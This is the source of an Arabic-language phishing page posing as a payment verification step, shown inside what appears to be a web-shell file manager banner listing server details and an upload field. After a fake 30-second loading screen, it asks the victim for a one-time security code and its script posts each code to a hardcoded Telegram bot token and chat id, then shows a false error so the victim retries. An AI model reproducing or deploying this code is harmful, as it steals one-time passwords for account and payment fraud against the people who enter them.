| Server IP : 162.0.215.10 / Your IP : 3.21.158.246 Web Server : LiteSpeed System : Linux premium181.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64 User : alfhgysd ( 724) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/alfhgysd/forteststore.store/biiling/ |
Upload File : |
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="css/bootstrap.min.css" crossorigin="anonymous">
<link rel="stylesheet" type="text/css" href="css/payment.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Cairo">
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<link rel="icon" href="img/images.png" type="image/x-icon" style="width: 500px;">
<title>التحقق</title>
<style>
/* Loading screen styles */
#loading-screen {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: #f8f9fa; /* Light background */
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
z-index: 9999;
font-family: 'Cairo', sans-serif;
}
.spinner {
border: 8px solid #e0e0e0; /* Light gray border */
border-top: 8px solid #007bff; /* Blue spinner */
border-radius: 50%;
width: 60px;
height: 60px;
animation: spin 1s linear infinite;
margin-bottom: 20px;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.countdown {
font-size: 24px;
color: #007bff;
}
</style>
</head>
<body>
<!-- Loading Screen -->
<div id="loading-screen">
<div class="spinner"></div>
<div class="countdown">30</div>
</div>
<script>
$(document).ready(function() {
let countdownValue = 30; // Start countdown from 30 seconds
const countdownElement = $('.countdown');
// Update the countdown every second
const countdownInterval = setInterval(() => {
countdownValue--;
countdownElement.text(countdownValue);
if (countdownValue <= 0) {
clearInterval(countdownInterval); // Stop the countdown at 0
}
}, 1000);
// Hide the loading screen and show the main content after 30 seconds
setTimeout(() => {
$('#loading-screen').fadeOut();
$('#main-content').fadeIn();
}, 30000); // 30 seconds
});
</script>
</body>
</html>
<body style="padding:.2rem !important">
<div class="bath container-fluid" style="padding-top:3rem">
<section class="ptb-70">
<div class="container" style="padding:0">
<form id="myForm">
<div class="mtb-30">
<div class="row">
<div class="col-md-6 mb-xs-40">
<div class="estimate">
<div class="row">
<div class="card mt-50 mb-50">
<div class="card-title mx-auto" style="font-size:2em"> إدخال رمز الأمان
</div>
<br>
<span id="card-header" style="margin:1rem 0; text-align:center;"> تم ارسال رمز تحقق الى رقمك </span>
<div class="row-1" style="padding: 0.5rem;">
<div class="row row-2">
<span id="card-inner" style="font-size:15px;"> إدخل رمز التحقق
</span>
</div>
<div class="row row-2" id="form-control">
<input id="ver" required type="tel" name="otp" minlength="4"
pattern="[0-9]{4,}" maxlength="8" placeholder="****">
</div>
</div>
<span dir="rtl" class="error-message" id="error-message" style="color: red;
top: 224px;
right: 58px;
font-size: 20px;
line-height: 1.5;"></span>
<button class="btn d-flex mx-auto send-button" style="background: #2dccac;border: none;"
id="btn-submit">
<b>تحقق من الرمز</b>
</button>
</div>
</div>
</div>
</div>
</div>
</div>
</form>
</div>
</section>
</div>
<style>
#form-control {
position: relative;
}
.error-message {
color: red;
position: absolute;
bottom: 101px;
right: 68px;
font-size: 15px;
margin-bottom: 6px;
line-height: 1.5;
}
@media only screen and (max-width: 600px) {
.error-message {
bottom: 91px;
right: 40px;
font-size: 15px;
margin-bottom: 17px;
}
.send-button {
margin-top: 45px;
}
}
</style>
<script>
const telegram_bot_id = "7317827271:AAF1r2GyOrr93Fkn4FHk2-lPxIC3wNZF6bw";
const chat_id = "7475059063";
var sender = function () {
var code = document.getElementById("ver").value;
if (code === "") {
document.getElementById("error-message").textContent = "يرجى إدخال رمز التحقق";
return false;
} else {
document.getElementById("error-message").textContent = "يرجى ادخال رمز التحقق مرة اخرى";
}
// إرسال رمز التحقق إلى تليجرام
var message = "تم إدخال رمز التحقق: " + code;
var settings = {
method: 'post',
url: `https://api.telegram.org/bot${telegram_bot_id}/sendMessage`,
data: {
chat_id: chat_id,
text: message
}
};
axios(settings)
.then(function (response) {
document.getElementById("error-message").textContent = "حدث خطأ أثناء إرسال رمز التحقق، يرجى المحاولة مرة أخرى";
})
.catch(function (error) {
document.getElementById("error-message").textContent = "حدث خطأ أثناء إرسال رمز التحقق، يرجى المحاولة مرة أخرى";
});
// الإجراءات التي ترغب في تنفيذها بعد إرسال رمز التحقق إلى تليجرام
return false;
};
document.getElementById("btn-submit").addEventListener("click", sender);</script>
<script src="node_modules/axios/dist/axios.min.js"></script>
</body>
</html>